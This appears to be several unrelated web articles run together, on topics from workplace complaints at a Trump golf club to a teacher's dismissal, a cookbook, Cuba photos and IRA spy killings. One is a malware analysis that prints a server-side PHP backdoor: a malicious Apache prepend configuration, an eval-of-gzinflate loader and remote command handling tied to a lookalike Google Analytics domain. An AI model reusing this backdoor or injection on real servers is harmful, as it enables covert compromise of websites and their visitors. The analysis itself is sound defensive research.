visit, Trump saw “a young, attractive hostess working named Nicole ... and directed that she be brought to a place where he was meeting with a group of men,” former Trump restaurant manager Charles West said in his declaration. “After this woman had been presented to him, Mr. Trump said to his guests something like, 'See, you don't have to go to Hollywood to find beautiful women,'” West said. “He also turned to Nicole and asked her, ‘Do you like Jewish men?’" One of the few older people on the wait staff who served Trump, Maral Bolsajian, said she was “uncomfortable” when he visited, calling his behavior toward her “inappropriate.” "Although I am a grown woman in my forties, Mr. Trump regularly greeted me with expressions like 'how's my favorite girl?'" Bolsajian said in a declaration. "Later, after he learned (by asking me) that I was married — and happily so — he regularly asked, 'are you still happily married?' whenever he saw me." Trump also asked her to pose for photos with him, said Bolsajian, who added that she felt she “had little recourse given that Donald Trump is not only the head of the company but also one of the most powerful, well-known people in the United States.” Bolsajian said, “In short, I consistently found Mr. Trump to be overly familiar and unprofessional.” The lawsuit focused on the course’s high-pressure work culture. Employees said they were not allowed to take the breaks required under California law. The statements about Trump’s preference for young, attractive employees were filed in support of a separate claim for retaliation, lodged after former restaurant host Lucy Messerschmidt, then 45, contended that she had been fired for complaining about age discrimination. Jeffrey W. Cowan, a Santa Monica attorney who represented the employees in the lawsuit, said the case targeted Trump’s development company, VH Property Corp., but “the evidence certainly suggested” that the club’s work culture flowed from Trump. Although Trump was mostly absent from the course he purchased in 2002, workers said his company maintained a rigorous work environment that often left workers exhausted. Employees said managers urged them to hurry through brief meal breaks, sometimes even expressing impatience with bathroom breaks. "My manager insisted that because this was Trump's golf course, it had to be top-notch," one employee said in a declaration. "He was concerned that if Trump observed employees eating or resting, Trump would not be pleased." Another employee said his manager “seemed obsessed with the fact that this was Donald Trump's golf course,” believing that “Mr. Trump wouldn't like it if he saw employees sitting around because he would think the golf course was inefficient and overstaffed." A valet described a stretch where “someone got fired every week.” One busboy said in a declaration that he took up smoking so that he would have an excuse for going outside for a break. In response, Trump’s company filed declarations from more than a dozen other employees who said they regularly were offered lunch breaks of at least 30 minutes for every five-hour shift, and were counseled by managers if they didn’t take them. Lili Amini, general manager, said in a declaration that the company implemented a firm policy about such breaks in 2009. Employees said managers started instituting breaks after the class-action lawsuit was filed. The Trump National Golf Club on the Palos Verdes peninsula, shown in 2005. (Luis Sinco / Los Angeles Times) Female employees said they faced additional pressures. Strozier, the former catering director, said Vincent Stellio — a former Trump bodyguard who had risen to become a Trump Organization vice president — approached her in 2003 about an employee that Strozier thought was talented. Stellio wanted the employee fired because she was overweight, Strozier said in her legal filing. "Mr. Stellio told me to do this because 'Mr. Trump doesn't like fat people' and that he would not like seeing [the employee] when he was on the premises,” wrote Strozier, who said she refused the request. (Stellio died in 2010.) A year later, Mike van der Goes — a golf pro who had been promoted to be Trump National’s general manager — made a similar request to fire the same overweight employee, Strozier said. “Mr. van der Goes told me that he wanted me to do this because of [the employee's] appearance and the fact that Mr. Trump didn't like people that looked like her,” Strozier wrote. When Strozier protested, Van der Goes returned a week later “and announced he had a plan of hiding [the employee] whenever Mr. Trump was on the premises,” Strozier wrote. West, who worked as a restaurant manager at the club until 2008, wrote that Van der Goes ordered him “to hire young, attractive women to be hostesses.” West also said Van der Goes insisted that he “would need to meet all such job applicants first to determine if they were sufficiently pretty." Van der Goes, who worked at the club until 2008, did not respond to requests for comment, though he defended Trump in a February interview with the Santa Clarita Gazette. “He’s not a racist. He’s not a bigot,” said Van der Goes, who called Trump “an astute businessman and a marketing genius.” Employees said several women quit or were fired because they were perceived as unattractive. A server, John Marlo, recalled seeing a co-worker crying in 2007. The woman had wanted to be promoted to server. “ The hostesses that were the youngest and the prettiest always got the best shifts. ” — Gail Doner Share this quote "She told me that she was upset because a manager had told her that she couldn’t be a server because of she had acne on her face,” Marlo said in a declaration. “According to her, she was qualified for the job and wanted it, but couldn't get it solely because of her acne." The woman quit soon after, Marlo wrote. Messerschmidt, the employee who said she was fired in retaliation for complaining about age discrimination, said in 2008 that one of her managers, Brian Wolbers, changed her schedule to give her time off during one of Trump’s visits because Trump "likes to see fresh faces" and "young girls." Wolbers did not respond to a request for comment. Gail Doner, who worked as a food server from 2007 to 2011, wrote that she was 60 and had often been frustrated by the inefficiency of the restaurant’s young, inexperienced hostesses, who “usually were not competent but were kept anyway.” “The hostesses that were the youngest and the prettiest always got the best shifts,” Doner wrote. Meanwhile, Doner — who had 20 years of experience working for wine vendors, and was at “the top of [her] game” while working for Trump National — said managers slowly cut back her shifts until they stopped scheduling her at all, “effectively firing [her].” “It did not appear to me that this reduction in shifts was happening to any of the younger, more attractive female food servers," Doner said. She added: “I chose not to fight to get my job back because by that point I was fed up with the toxic environment and the way that I was treated.” ALSO: POLL: USC Dornsife/Los Angeles Times 'Daybreak' poll has Trump in the lead Trump's rise draws white supremacists into political mainstream: 'I am winning,' says David Duke Credits: Produced by Andrea Roberson Sign up for our Essential Politics newsletter to receive the next installment in your inbox Privacy policy |
"The first thing I knew was on Friday morning when a parent complained, and come Friday afternoon I was told not come back to the school" she told smh.com.au. During an afternoon meeting with principal Julie Organ and local schools director Maurice Brennan, Ms Tziolas was issued with a letter signed by Mr Brennan. "I refer to an article in the magazine Cleo in which your photograph appears acompanied by an article about your personal life," the letter reads. "Concerns have been raised by community members in relation to this article. I have concerns that this will seriously impact on your continued employment at Narraweena Public School," it read, before telling her she would be sacked. "I was told ... that my actions had breached the code of conduct," said Ms Tziolas, whose husband Antonios also appeared in the article. "I was extremely surprised. I was just given a letter and told not to come back. "I had no course for appeal prior to the decision - it was almost like I was guilty until proven innocent." The article which has caused the furore is this month's Cleo. Titled "Buck naked couples talk about their sex lives" the article interviews ten couples about "what they get up to between the sheets". It also includes a full-page picture of each couple, naked and holding each other. Lynne and Antonios's article asks them about how many times they have sex a week, their favourite body part and the most risque sexual thing they've done. "Leaving the blinds up and the lights on, which is all the time," Antonios said in response to the last question. Ms Tziolas said she was stunned by the response of her school to the article, and said it may end her career in public schools. The NSW Department of Education and Training says Ms Tziolas's suspension follows complaints from "several" parents at the school. "Several Narraweena parents complained to the school about photographs and inappropriate sexual comments in a Cleo magazine article," a department spokesman said in a statement. Mr Tziolas said his wife wanted to return to the same school. "She would be happy to be reinstated back at Narraweena," he said. We were honest. Yes, we're both teachers. Yes, we have sex, and yes, we are loving and committed to each other. "What we did we both stand by. We would do it again." Mr Tziolas - also a teacher - is concerned the furore may have also affected his chances at getting a job with the NSW public system. He said he had applied for work at Narraweena, a primary school, as well, but doubted he would now get a position. "I'd imagine that my name is one that won't be called, even though I'm on the list," Mr Tziolas, 45, said. The Department of Education released a statement earlier today, saying Ms Tziolas was a temporary teacher and the school had taken the decision to sack her. "Several parents complained about the photographs and innapropriate sexual comments," it stated. The sacking would be investigated by the department's Employee Performance and Conduct Brach. With AAP |
Deerhoof and Neutral Milk Hotel Members Team Up as Dieterich & Barnes for New LP Published Feb 02, 2016 You'll find all of the tracklisting details down below, while the strategy-centred cover art can be seen up above. The Coral Casino: 1. Out and About 2. Special Questions 3. Philae Lands on Comet 67p_Churyumov-Gerasimenko 4. Mummers 5. People Person 6. Parasol Gigante 7. Sandwild 8. What 9. Brain Envy 10. The Frost Pocket 11. Sales Tan, Part 2 A new duo comprising members of beloved indie bands Deerhoof and Neutral Milk Hotel are about to make their debut. Made up of the former's John Dieterich and the latter's Jeremy Barnes, they've opted to go with the straightforward project name Dieterich & Barnes, and their debut offering,, is out May 6 through Living Music Dupli-cation A press release explains that the 11-song effort is improvisational in nature, with the recording sessions having apparently found the two musicians in "a blank room with unfamiliar instruments in their hands and zero expectations." It's added that the plan was to have each member improvise on the spot "in a rhythmic manner," without listening to what the other musician was doing.The result is described as both "childish and sophisticated," withapparently melding melody with "wild performances."Samples have yet to be revealed, but the album includes a tribute to the first satellite to land on a comet ("Philae Lands on Comet 67p_Churyumov-Gerasimenko") and possibly towards big umbrellas ("Parasol Gigante"), as well as undercooked Pizza Pops ("The Frost Pocket"). |
October 7, 2009 | Filed Under Anti-Americanism, Barack Obama, Crime, Democrats/Leftists, Freedom, Liberals, President, The Law, Warner Todd Huston | 3 Comments -By Warner Todd Huston Obama’s Attorney General, Eric Holder, has apparently hired a cadre of left-wing, Democrat campaign bloggers to troll through the Internet looking for news stories and blog posts that denigrate the Obama agenda. After such websites are found it is the job of these secret lefty bloggers to leave comments that come to the support of Obamaism in the comments sections. It seems that Eric Holder has created his own little propaganda unit in a valiant effort to become the Bloggi Riefenstahl of the Obama era. As reported at The Muffled Oar, a blog that first broke the story of Holder’s secretive blogging unit — dubbed the “Blog Squad” by blogger Isaac Muzzey — Holder has housed this unit in the Office of Public Affairs at the Department of Justice. It also appears that former John Edwards staffer Tracy Russo is part of this special unit. A site called whorunsgov.com reported back in May that DOJ hired Russo to do “media outreach for the whole department.” It is, according to whorunsgov.com, the first time such an effort has been made at DOJ. Of Russo’s duties, The Muffled Oar says: Not only is the Department of Justice Blog Squad going to reach out to nontraditional media like TPM Muckraker or the Muffled Oar, but they are also tasked with fostering anonymous comments at conservative leaning blogs such as the Free Republic. They are also tasked with fostering anonymous comments, or comments under pseudonyms, at newspaper websites with stories critical of the Department of Justice, Holder and President Obama. If indeed this is what DOJ media outreach does it would most certainly qualify as “astroturfing.” Astroturfing is the action of using fake commenters and multiple screen names on all sorts of sites to push a similar opinion to create the appearance of a grass roots movement and make it seem as if there are all sorts of individuals naturally supporting a product or political movement. It most certainly is a creepy, propagandistic sort of effort that Holder’s office is involved in and it is one that certainly seems an immoral one. After all, it most certainly is lying to the public if there are a handful of DOJ employees casting about on hundreds of different websites pretending that they are just your average citizen coming to the support of the Obama administration. But is it illegal? Hans von Spakovsky of National Review’s the corner blog certainly thinks so. I doubt that the Office of Public Affairs (OPA) has received an ethics opinion from Justice’s Professional Responsibility Advisory Office (PRAO) saying that it is acceptable for OPA employees to be harassing critics of the department through postings that deliberately hide their DOJ affiliation (a practice that is not very “open” or “transparent”). DOJ lawyers also ought to be aware of ABA Model Rule of Professional Conduct 8.4, which states that it is professional misconduct for a lawyer to engage in conduct involving dishonesty, fraud, deceit, or misrepresentation. If the report in The Muffled Oar is correct, tax dollars are being used directly for such dishonest, deceitful behavior. I must say, it’s hard to disagree with von Spakovsky (if that’s his real name! — a little joke there). Mr. von Spakovsky also makes a perfectly pertinent point to wrap up his blog post on this matter. He wonders if the Obama administration will ever learn the difference between political campaign and the “entirely different responsibility it now has to enforce this nation’s laws in an objective, nonpartisan, nonpolitical manner”? I think that the question is a good one. After all, after nearly a year in office, we have yet to see the end Obama’s constant blaming of Bush for every little problem he runs up against not to mention the constant campaign speeches and appearances on TV at every hour, day and night. One gets the uneasy feeling that President Barack Obama has yet to put in an actual day’s work as he constantly campaigns for office instead. (Image credit: Associated Press/Lefteris Pitarakis – April 27, 2009) ____________ Warner Todd Huston is a Chicago based freelance writer, has been writing opinion editorials and social criticism since early 2001 and is featured on many websites such as NewsBusters.org, RightWingNews.com, CanadaFreePress.com, StoptheACLU.com, TheRealityCheck.org, RedState.com, Human Events Magazine, AmericanDailyReview.com, and the New Media Journal, among many, many others. Additionally, he has been a frequent guest on talk-radio programs to discuss his opinion editorials and current events and is currently the co-host of “Life, Liberty, and the Pursuit of Conservatism” heard on BlogTalkRadio. Warner is also the editor of the Cook County Page for RedCounty.com. He has also written for several history magazines and appears in the new book “Americans on Politics, Policy and Pop Culture” which can be purchased on amazon.com. He is also the owner and operator of PubliusForum.com. Feel free to contact him with any comments or questions : EMAIL Warner Todd Huston Our motorcycle rain gear and red leather pants provide a real star look to leather clothing. Beside this we carry a wide variety of mens leather pants and leather clothing for women. Comments comments |
“Whiny” is a term we apply to people who habitually complain about things that don’t matter. If people are complaining about things that do matter, then we generally don’t think of “whiny” as an appropriate term to describe them. Social justice movements tend to spring up around issues that most people don’t get. Social justice movements tend to spring up around issues that, to most people, don’t seem to matter that much. If people understood that the issues mattered, then organized movements to promote them wouldn’t be necessary. Until their issues are properly understood, most social justice movements, almost by definition, are going to look whiny to most people. If you can’t understand why the things people are complaining about matter, those people are going to look whiny to you. That is, they’re going to look like they’re complaining about things that don’t matter. Something to keep in mind when you’re thinking about accusing people in a social justice movement of being whiny: every social justice movement looks whiny if you don’t understand their issues. A lot of the time, the fact that calling attention to their issues is perceived as whiny is precisely the reason why the movement is necessary in the first place. Advertisements |
0 SHARES Facebook Twitter We have been talking about Apache server-side injections for a while. Ranging from malicious modules, like Darkleech, to modified Apache binaries. From an attacker perspective, it is much more lucrative to inject their malicious code at that level, instead of having to compromise each site on the server individually. However, server-side injections are not only limited to Apache modules or binaries. They can also be done via global .htaccess injections and PHP auto appends/preppends, which we will cover in this article. Auto Prepend JavaScript Files PHP has an interesting configuration option called “auto_prepend_file”. It allows administrators to include a file to be automatically parsed before the requested content is executed. Malware authors have been using this option at the site level for a while by modifying the .htaccess file. However, in this instance, they got root access and modified the file /etc/httpd/conf.d/php.conf with the following: <files ~ ".js$”> AddHandler php5-script .js php_value auto_prepend_file /usr/share/php/a.control.bin php_flag display_errors Off </files> The syntax is very simple and it basically treats every JavaScript as PHP and prepends the content of /usr/share/php/a.control.bin to all JavaScript files. By modifying the Apache configuration they can inject it on every site hosted on the server. Injected content The file being prepended (a.control.bin) when first inspection was not a normal PHP file. It seemed like an encoded executable and testing on VirusTotal (an engine that checks a file against all 47 major anti virus products), resulted in a0/47 detection rate. It meant the file was never found before and needed more analysis. We started to work with the binary and were able to partially decode it. The attackers were using gzip, along with multiple intermixed comments to add useless functions and make it hard to decode: /* posix_mknod () ; jdtojewish) ; gzgetss(imagesetbrush(); mb_stripos */; eval/*mcrypt_generic ( ) ; In the code mentioned above, none of those functions were not called except for the eval. When we thought it was using mcrypt or posix_mknod, it was just a distraction for the eval part. We also got our ESET friends to help with it. They were able to decode and decrypt the file and found many levels of obfuscation. From their explanation: The PHP script uses comments to add junk, it can be reduced to the following: The function __halt_compiler() will stop the parsing of the script before the binary data embedded in the file. It will then be read and decompressed with gzinflate and evaled: <?php $__ = __FILE__ ; eval (gzinflate(file_get_contents($__ ,null, null, (__COMPILER_HALT_OFFSET__)))); __halt_compiler(); BINARY_CODE They also found an interesting backdoor that connects to google-analytcs.com with the user agent “SEX/1”. This allows the malware owners to control the server and execute commands via eval or add any file to the server. These are the commands the malware authors can run: case “OK”: touch($___["file”]); break; case “EXEC”: eval ( base64_decode ($___ ["data”][1])); break; case “UPDATE”: file_put_contents ($__,base64_decode($___["data”][1])); break; case “ERROR”: default: touch($__,(time()+$___["failed_period”])); break; Another interesting thing is that when you decode the file, the first line starts with: / * Hey ! How did you find me ? 😛 */ Yes, took a bit, but we did find you. You can see the full payload on PHP decoder. Browser Injection All that encoding is used to do 2 things: Act as a backdoor for the attackers to maintain their access to the server and inject malware on the browser of the visitors to the site. And inject malware they did. Every time a JavaScript file was requested, the following code would be prepended to it: This code once executed by the browser calls multiple iFrames: httx://weymouthsmiles.com/wuwu.html httx://weymouthsmiles.com/wqlc.html httx://www.blog-hits.com/b1.php?id=ballsofsteel These are used to redirect the browser to the infamous Redkit Exploit Kit (hxxp://weymouthsmiles.com/jo.jar – Trojan.Java/Exploit.CVE-2013-2423.BM). It also loads an image from http://google-analytcs.com/domain/ga.gif so the attackers can track the compromised sites and clients. Conclusion This is just another technique the attackers are using to maintain access to the servers they compromise, and to inject malware, in this case, to the Redkit Exploit Kit. Note that this is not new and we have been seeing cases like this for a while. Tony Perez even talked about it before on a previous post. Again, thanks to the ESET team for the help here. |
Yes. Photo: Courtesy of Island Def Jam If you follow 2 Chainz on Instagram (handle: hairweavekiller), you know he has a (surprising?) love of food. In fact, his new album, B.O.A.T.S. 2 #Metime, out today, comes with a 28-page “cookbook” — #Meal Time — full of recipes from the 2 Chainz tour bus. Is it as amazing as it sounds? Yes, it is. To start, here’s the intro: YOU’RE ON THE ROAD AND YOU’RE HUNGRY. 2 CHAINZ HAS BEEN THERE, AND NOW HE’S REACHING INTO HIS DEEP, FLAVORFUL POCKETS TO HOOK YOU UP WITH THE RECIPES YOU’LL NEED FOR YOUR TIME OUT ON THE ROAD. KEEP IN MIND, ALL MEASUREMENTS ARE AT THE DISCRETION OF YOUR PALETTE. AS WE ALL KNOW, SOME PEOPLE HAVE A LOT OF FLAVOR, WHILE OTHERS ENJOY THEIR FOOD AND THEIR LIFESTYLE A LITTLE MORE SUBTLE (BORING). ALSO KEEP IN MIND THAT THESE RECIPES ARE INTENDED TO BE MADE AT 70 MPH WHEN YOU’RE ON A TOUR BUS, SO EXACT MEASUREMENTS CAN’T ALWAYS BE ACCOMMODATED. MEANWHILE, BE SURE TO SEASON EVERY SINGLE MEAL IN LAYERS AS YOU PREPARE THE RECIPES SO AS TO AVOID THROWING SEASONINGS ON DISHES AFTER THEY’RE ALREADY COOKED, AND ITEMS BEING PREPARED CAN ABSORB THE FLAVORS OF THE SPICES. AND WHILE BUTTER IS ALWAYS PREFERABLE TO SUBSTITUTES, MIXING IN OLIVE OIL CAN WORK, AS IT’S BOTH HEALTHIER AND HAS A HIGHER SMOKE POINT THAN BUTTER. 2 CHAINZ DOESN’T WRITE DOWN HIS MUSIC, IT FLOWS NATURALLY FROM HIS MIND. FOLLOW 2 CHAINZ, AND FEEL FREE TO FREESTYLE YOUR COOKING UNTIL YOU (AND WHOEVER’S EATING ALONGSIDE YOU) ENJOY IT. FINALLY, REMEMBER: EMBRACE MISTAKES, AND ALWAYS COOK WITHIN YOUR COMFORT ZONE. #TRU So, aside from the palette/palate confusion — possibly an allusion to 2 Chainz’s artistry, but also possibly just a typo — we’re off to a good, if somewhat expected, start. Things get much more interesting when you dig into the recipes. Here are the sixteen best instruction lines, which actually appear in the book. Chefs around the world, take note: • “Put on your Versace apron.” —Teriyaki salmon, step one. • “Drape yourself in an Adidas sweatsuit, chainz n thangs.” —Sautéed asparagus, step one. • “Go to the mall, spend a handful of racks on a new outfit for the night. ” —“Me Time” sauce, step one. • “Get a manicure and a pedicure.” —“Me Time” sauce, step two. • “Spend some more ‘me time’ at the house, catching on old seasons of The Wire.” — “Me Time” sauce, step three. Mixed seafood skewers.Photo: Courtesy of Island Def Jam • “If wearing a four-finger ring, carefully place it on a side table before starting to cook.” —Garlic mashed potatoes, step one. • “Serve in a gold bowl and garnish with remaining parsley.” —Garlic mashed potatoes, step twelve. • “Play ‘I Do It’ as you do it.” —Shrimp scampi, step six. • “Call Fergie, invite her to watch a movie on Netflix. Once she accepts, start making green beans.” —Garlicky green beans, step one. • “Position yourself in a room surrounded by a handful of TVs playing Sportscenter with the sound off.” —Crab cakes with mango salsa, step one. • “Position yourself in a room surrounded by a handful of TVs playing Sportscenter with the sound off.” —Crab cakes with mango salsa, step one. How 2 Chainz does chicken.Photo: Courtesy of Island Def Jam • “Put on your favorite Alexander Wang tee and put on ‘U Da Realest,’ and take a minute to zone out to the music before you start cooking.” —Chicken Marsala, step one. • “Start ‘U Da Realest’ from the top and get into the right headspace to finish up the meal.” —Chicken Marsala, step six. • “Plate chicken for yourself, sit at the head of your dining room table, and eat the chicken while you sing along to ‘Beautiful Pain.’” —Fried chicken, step ten. Sea bass à la 2 Chainz.Photo: Courtesy of Island Def Jam • “Once finished, plate racks of lamb alongside a bottle of extravagantly priced Cabernet. 2 Chainz and fine wine. You want true? That’s true enough.” —Herb-crusted lamb rib chops, step eight. • “Call your friends and invite them over for a cookout. Tell them 2 Chainz is firing up the grill.” —Mixed seafood grill kebabs, step one. • “Take a minute to celebrate yourself, and celebrate the ‘me time’ you were able to spend cooking these meals.” —Pan-seared sea bass with heirloom-tomato salsa, step twelve. |
Pin Flip 400 Shares In 2004 I traveled to Cuba for the first time as part of my college study abroad program. I visited 4 countries throughout the semester, and every one of them left a deep impact on me. But Cuba…there was something about Cuba that completely captured my imagination and kept calling me back over the next decade. I’ll be honest–I lacked any photography skills to speak of on that first trip, but I had such a drive to capture what it felt like to be there. Ten years later, I was thrilled to have the opportunity to return. And this time, I went prepared to capture something of Cuba’s essence. There are a lot of layers, assumptions, and complicated realities to Cuba’s story. But for now, I simply want to share a few of the photographs from some afternoons spent wandering around Havana. Wander the streets of Havana in 30 photos! #streetphotography #cuba Click To Tweet Click a photo to view it full screen Have you ever visited Cuba? What were some of the highlights of your trip? If you haven’t visited, what would you most like to see or do there? Let me know in the comments! You might also like: |
We cannot allow partisan politics to stop Senate from fulfilling its constitutional duty. Antonin Scalia at his 1986 confirmation hearing in Washington, D.C. He was confirmed 98-0. (Photo11: Lana Harris, AP) Every single American is affected by the Supreme Court of the United States. And as we have seen demonstrated through recent Supreme Court rulings decided by a narrow 5-4 margin, every vote on the Supreme Court counts. Make no mistake — a single vacancy matters. It matters for all those who value breathing clean air or drinking clean water; those who work for a living or are retirees; those who own a cellphone; those who are troubled by corruption in our political process and those who value our national security. The stakes are high for all of us. The Senate majority leader is wrong to preemptively shut down any consideration of who should be the next Supreme Court justice. The American people turned out in record numbers to elect President Obama and they elected him to serve for all eight years of his two terms. The spectacle of the extended political party nominating process does not curb the responsibilities of those actually elected to govern. We the People know that some things should be above party politics. And our independent judiciary must be one of them. Under our Constitution, the Supreme Court plays a fundamental role in our system of checks and balances. If partisans succeed in deliberately blocking any nominee from confirmation for more than a year, it will mean that the Supreme Court will not be at full strength for two terms. The ability of the court to serve as the final arbiter of the law will be undermined, and the consequences of an equally divided court will result in uncertainty at best — or more likely justice delayed becoming justice denied. It is false to say that Supreme Court justices do not get confirmed in presidential election years. More than a dozen Supreme Court justices have been confirmed during a presidential election year, and the most recent one was in President Reagan’s final year in office. Despite Senate Democrats’ control of the schedule, they confirmed Justice Anthony Kennedy in 1988. The same process should apply today with Obama in the White House and Republicans in control of the Senate. The Constitution clearly states that the president “shall nominate, and by and with the Advice and Consent of the Senate, shall appoint ... Judges of the supreme Court.” Obama has made clear that he will nominate an individual after consulting with the Senate. After the nomination is made, the Senate needs to do its work to consider the merits of that individual. The advice and consent role enshrined in our Constitution was not designed to allow a blanket prohibition of any potential nominee, but that is exactly where the Republican majority leader is trying to take us. To preemptively block the important public process of a Senate Judiciary Committee hearing and a transparent debate about a particular nominee’s record would be a travesty. It has long been understood that each senator should have the opportunity to consider and debate the merits of a Supreme Court nominee. That is why in 2001, when I became chairman of the Senate Judiciary Committee, then-ranking member Orrin Hatch and I expressly recognized the special nature of Supreme Court nominations. We agreed that the Judiciary Committee should continue to “examine carefully and assess” presidential nominations and to report Supreme Court nominees to the Senate even in cases where the nominees were opposed by a majority of the committee. POLICING THE USA: A look at race, justice, media We agreed back then that a Supreme Court nominee deserved consideration by the full Senate. This way the American people will have the right to hold accountable senators who, for partisan reasons, oppose a highly qualified nominee. It should be no different today. Every day Americans show up for work and do their jobs. They don’t have the luxury of telling their bosses that they don’t want to do their jobs because they would rather “delay, delay, delay.” And neither should the United States Senate. The Senate has come together time and again to consider Supreme Court nominees — including Antonin Scalia, who was unanimously confirmed in 1986 and who served on the Court for almost three decades. Let’s get to work and do the job the American people sent us here to do. Our oath to uphold the Constitution requires no less. Sen. Patrick Leahy is the ranking member of the Senate Judiciary Committee. In addition to its own editorials, USA TODAY publishes diverse opinions from outside writers, including our Board of Contributors. To read more columns like this, go to the Opinion front page. Read or Share this story: http://usat.ly/1XtLZXK |
Deaths of 78 people accused of being British spies have been documented by researchers, writes Nicola Stathers THE Cork Spy Files have for the first time shed some light on one of the darkest periods of Irish history and reveal the true extent of the violence during the War of Independence in Cork. The research project, headed by Dr Andy Bielenberg, senior lecturer in history at UCC, and James S Donnelly Jr, emeritus professor of history at the University of Wisconsin-Madison, and in partnership with the Irish Examiner, chronicles the killings of 78 suspected British spies at the hands of the IRA during the War of Independence. Following extensive searches of a wide array of archival and printed sources, the two researchers have assembled a database of all members of the Crown Forces (soldiers, regular RIC, and RIC Auxiliary cadets), all volunteers or members of the IRA, and all civilians killed in Cork city or county during the conflict. From this material, a special set of entries dealing exclusively suspected spies executed by the IRA in Co Cork in 1920 and 1921 (to the Truce) was also compiled. The names of almost 80 victims appear in the database. Bielenberg and Donnelly explained the scope, purposes, and character of their project. The Cork Spy Files, they say, are exhaustively documented. They scoured local and national newspapers, archival records, and printed sources for every sort of information about the victims, including the full circumstances in which they died, the manner of their deaths, and what was done with their bodies after death. They said they were aware that publicly releasing the names of those who were killed and detailing the exact circumstances of their deaths might cause some upset and pain for their families and relatives. However, they said the central aim of the project was to record an accurate, transparent, and meaningful account of the controversial events within the context of the War of Independence in Cork. “In the aftermath of the conflict, there were perhaps justifiable reasons to suppress information about these killings for the benefit of all directly concerned (especially both the victims’ families and the killers), who were often neighbours. “Three generations later, however, and after the passage of almost a century, it has now become highly important to establish the truth about these events as far as possible,” they said. Not surprisingly, records or reports coming from the IRA on one side and those compiled on the other side by the British military forces or the RIC very frequently give contradictory accounts of specific events. Sifting through the records and documents, they compiled a complete list of all suspected Cork civilian spies executed in 1920-21. They have invited members of the public who may have additional information, or who question some of the findings, to contact them. For more information on the research see what will be a regularly updated database on theirishrevolution.ie IRA’s greatest strength in the city was its intelligence network Members of the 4th (Midleton) Battalion Column of the Cork No 2 Brigade of the IRA in early 1921. FEW books have shaped our understanding of the War of Independence in County Cork more than Peter Hart’s intensively researched volume The IRA and Its Enemies: Violence and Community in Cork, 1916-1923, first published in 1998. Yet few books on this subject have received as much sustained criticism in the years since then. Most damaging to many of Hart’s central arguments has been John Borgonovo’s 2007 book Spies, Informers, and the ‘Anti-Sinn Féin Society’: The Intelligence War in Cork City, 1920-1921. At the centre of both books is the treatment of spies by the IRA. More civilians were executed by the IRA in Co Cork in 1920-21 than in any other county, and the number of such fatalities was nowhere higher than in Cork city, where Borgonovo found that members of the Cork No 1 Brigade of the IRA executed 26 civilian spies from the start of 1920 to the Truce. But Hart maintains the volume of killings in the city and county maybe far more numerous. “Scores of bodies’, Hart insisted, “were dumped in fields, lanes, or ditches tagged with messages like ‘Spies and informers beware’ or ‘Convicted spy’. At least 204 civilians were shot by the IRA in Cork city and county in the course of the revolution, the vast majority of whom were alleged to be spies or informers. Even if we make a generous allowance for civilians killed as spies in County Cork by both the pro-Treaty and anti-Treaty IRA during the Civil War of 1922-23 (Hart’s sweeping statements and specific numbers include these later victims), the reputed tallies are too high. These exaggerations have a great deal to do with Hart’s highly critical view of the quality of IRA intelligence and with his strong disposition to believe that IRA leaders and members were prepared to act against suspected informers on the basis of very slender evidence. The IRA reputedly had a very low threshold for evidence sufficient to warrant executions and possessed a highly cavalier attitude towards the killing of suspected civilian spies. And how could the IRA think or act differently when, according to Hart, its system for gathering intelligence was so poor. These arguments and assumptions, when rigorously tested in 2007 by John Borgonovo, were shown to be without foundation for Cork city. The city IRA possessed a sophisticated intelligence-gathering apparatus, with its own operatives serving within the British military and police. “The IRA’s greatest strength in Cork city,” Borgonovo concluded, “was its intelligence network. . . Republican claims regarding civilian informers in Cork city must be seen through the prism of the IRA’s intelligence capability. Did the IRA have the means to identify its civilian enemies? This study has shown that the answer is yes.” Now a thoroughgoing scrutiny of every known killing of suspected civilian spies in the county as a whole — set forth in the Cork Spy Files — leads to similar conclusions. More recent research published by Pádraig Óg Ó Ruairc in his book on the Truce has identified most of the suspected civilian spies and informers killed across Ireland in these years (including 66 in County Cork). He has specified the religious affiliation of these victims. Since the great majority were Catholics, he has challenged the contention by Hart that much of the killing of such spies during the War of Independence was carried out for sectarian reasons. The longer list of Cork civilian spies presented here, which also identifies the victims’ religion, provides further support for Ó Ruairc’s argument, though Protestants were overrepresented, accounting for almost 31% of executed spies in this new extended list for County Cork. But this overrepresentation is likely to have stemmed from the relatively higher share of the Protestant community who remained loyal. The most notable feature arising from our table, however, is the number of ex-soldiers killed, who accounted for almost 53% of the total. The great majority of these (35 out of 41) were Catholic. It was this group associated with past service in the crown forces who were by far the largest group of suspects executed as spies. This important finding further weakens any contention that there was a sectarian dimension to these killings. Our research chronicles the names, personal details and graphics accounts of the killings of close to 80 suspected spies for the first time. One of those was civilian Michael (‘Mickaroo’) Walsh, aged 43, of Kearney’s Lane, Cork. He was killed outside Cork Union Hospital on 18th February, 1921. He was an ex-soldier. Previously a foreman over workers at Ford’s Tractor Works and a builder’s labourer, Walsh was taken from the Cork Union Hospital by six armed and disguised men. His body was found outside the Union gate. A card pinned to his clothing read: ‘Caught at last. Spies and informers beware. — IRA.’ Aged 43, Walsh was a Boer war veteran and a jobless construction worker who was being treated in hospital for a ‘functional disorder’. The raiders literally carried him down the stairs from his ward, out the workhouse gate, and onto the road, where they riddled his body with bullets. According to city Volunteer leader Michael Murphy, “information about this spy was discovered by us in captured mails. He was also observed by some of our intelligence men going into police barracks”. Murphy also told Ernie O’Malley that ‘Mickaroo’ Walsh ‘was a definite spy and a low type. He was shot in Blarney Street [Cork], but he wasn’t killed and he was removed to the South Infirmary [and] to the Union Hospital. He was suffering badly from venereal disease. Tom Crofts pulled him out and he was shot outside of the hospital. He [Walsh] knew who was who, and he had given information about prominent officers in the Irish Volunteers. Walsh had previously been ordered out of the country by the IRA. Members of British military intelligence in Cork had helped him to escape to England, but he returned and paid with his life. After his return and about a month before his death, while staying with his sister, 14 shots were fired into their house, and a squad of IRA gunmen chased him into another house, in the process trampling on a child that his sister was nursing and mortally injuring the child. According to the 1911, Walsh (then aged 34) was married to to Maryann for 10 years. They were then childless. He was a Catholic. Walsh had been prosecuted in a Sinn Féin court in Cork city, as a result of which he was evicted from one of the houses owned by the father of Commandant PJ Murphy at 63 Blarney Street. Murphy recalled this set of events many years later: “After the trial he [Walsh] gave the names of the court and the local Volunteers to the police. He was rewarded with money for this information. His sister got the draft and went to cash it in the local shop, where it was reported to the local Volunteers. He was arrested by the Volunteers and sentenced to be deported. “He left the country and went to Wales. After a few months he returned. We made two attempts to arrest him, and on each occasion he got away from us, on the first occasion by diving into a shop full of women and children, and the second time [by] throwing himself off a high wall. On each occasion he went to the military barracks and brought the military to our homes. While with the British in Cork [Military] 